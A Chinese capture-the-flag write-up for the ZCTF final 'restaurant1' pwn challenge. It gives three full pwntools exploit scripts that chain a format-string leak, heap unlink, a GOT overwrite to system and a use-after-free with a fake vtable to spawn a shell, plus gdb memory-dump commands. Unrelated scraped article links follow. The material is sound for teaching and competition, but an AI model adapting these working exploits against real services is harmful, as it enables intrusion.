和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。

线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html

信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。

第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。

 from pwn import *
import time
context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
#raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') def infoleak(addr):
ppcom = 'xxx'
tastecom = p64(addr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
strs = s.recvuntil('\n')[:-1]
if strs.find('-') != -1:
data = (int(strs[1:])^0xffffffff)+1
else:
data = int(strs)
return p32(data) d = DynELF(infoleak, elf=ELF('./restaurant1'))
systemaddr = d.lookup('system', 'libc')
log.info("systemaddr=" + hex(systemaddr)) #systemaddr = 0xaaaaaaaaaaaaaaaa
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50)) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
s.close()

  后来发现,可以用gdb调试,因此和拥有了libc差不多。

 from pwn import *
import time
context.log_level = 'debug'
#by wangaohui #s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6070B8)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
if atoistr.find('-') != -1:
atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
print 'atoiaddr1 is: %x' % atoiaddr1 appcom = 'xxx'
tastecom = p64(0x6070Bc)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
atoiaddr2 = int(atoistr)
print 'atoiaddr2 is: %x' % atoiaddr2
atoiaddr = (atoiaddr2<<32) + atoiaddr1
print 'atoiaddr is: %x' % atoiaddr systemaddr = atoiaddr + 0xc6f0
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive() s.close()

  第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。

申请到已经free的内存块的代码:

在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。

因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:

Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。

 from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!') s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('/bin/sh;')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a soup, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%7$p %41$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 3 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heapstr = leaked.split(' ')[0]
heap = int(heapstr[2:],16)
print 'leaked heap is ' + heapstr
libc_start_mainstr = leaked.split(' ')[1]
libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
print 'leaked libc_start_main is ' + hex(libc_start_main)
magic = libc_start_main + 0x1f92b
print 'magic is ' + hex(magic) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(p64(magic)*3) #virtual table
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') s.recvuntil('9. Finish your order.') #uaf
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline(p64(heap+0x60) + 'a'*0x48)
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.interactive()
s.close()

后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。

附两条用到的命令:

searchmem "\x48\x8b\x10\xe8" 0x7ffff7726000 0x7ffff78c8000

dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000

ZCTF-final-restaurant1的更多相关文章

  1. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  2. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  3. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  4. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  5. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  6. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

  7. 浅析Java中的final关键字(转载)

    自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...

  8. java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0

    java 继承使用关键字extends   继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...

  9. files list file for package 'xxx' is missing final newline

    #!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...

  10. final关键字(final是最终的)

    final关键字(final是最终的) 1.final修饰特点 a.修饰类,类不能被继承 b.修饰变量,变量就变成了常量, 修饰基本数据类:final int num = 10; 修饰引用数据类型变量 ...

随机推荐

  1. 【转】__attribute__机制介绍

    1. __attribute__ GNU C的一大特色(却不被初学者所知)就是__attribute__机制. __attribute__可以设置函数属性(Function Attribute).变量 ...

  2. IOS 调用系统发邮件Api

    // 判断设备是否有发送邮件功能 NSString *deviceType = [UIDevice currentDevice].model; if([deviceType isEqualToStri ...

  3. IOS Custom NavigationItem --写titleView

    //先自己写一个titleView UIView *titleView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 200, 20)];//all ...

  4. nomasp 博客导读:Android、UWP、Algorithm、Lisp(找工作中……

    Profile Introduction to Blog 您能看到这篇博客导读是我的荣幸.本博客会持续更新.感谢您的支持.欢迎您的关注与留言.博客有多个专栏,各自是关于 Android应用开发 .Wi ...

  5. 跟我一起学extjs5(18--模块的新增、改动、删除操作)

    跟我一起学extjs5(18--模块的新增.改动.删除操作)         上节在Grid展示时做了一个金额单位能够手工选择的功能,假设你要增加其它功能.也仅仅要依照这个模式来操作即可了,比方说你想 ...

  6. LFS: Interface eth0 doesn't exist

    环境 宿主主机:Ubuntu 14.04.4 LTS 32位 LFS内核:Linux 4.2.0 好不用容易将LFS引导起来了,但系统启动后,无法配置网口.系统启动时提示:Interface eth0 ...

  7. 关于 jsp:include 传参的用法

    引用模版页面的代码,如下: <jsp:include page="/WEB-INF/template/nav_template.jsp">     <jsp:pa ...

  8. 【进制问题】【HDU2056】A + B Again

    A + B Again Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Tota ...

  9. 【输入输出挂】【Uva11462】Age Sort

    例题17  年龄排序(Age Sort, UVa 11462)照从小到大的顺序输出. [输入格式] 输入包含多组测试数据.每组数据的第一行为整数n(0<n≤2 000 000),即居民总数:下一 ...

  10. bootstrap插件小记

    1.模态框 除了通过data-toggle和data-target来控制模态弹出窗之外,Bootstrap框架针对模态弹出框还提供了其他自定义data-属性,来控制模态弹出窗.比如说:是否有灰色背景m ...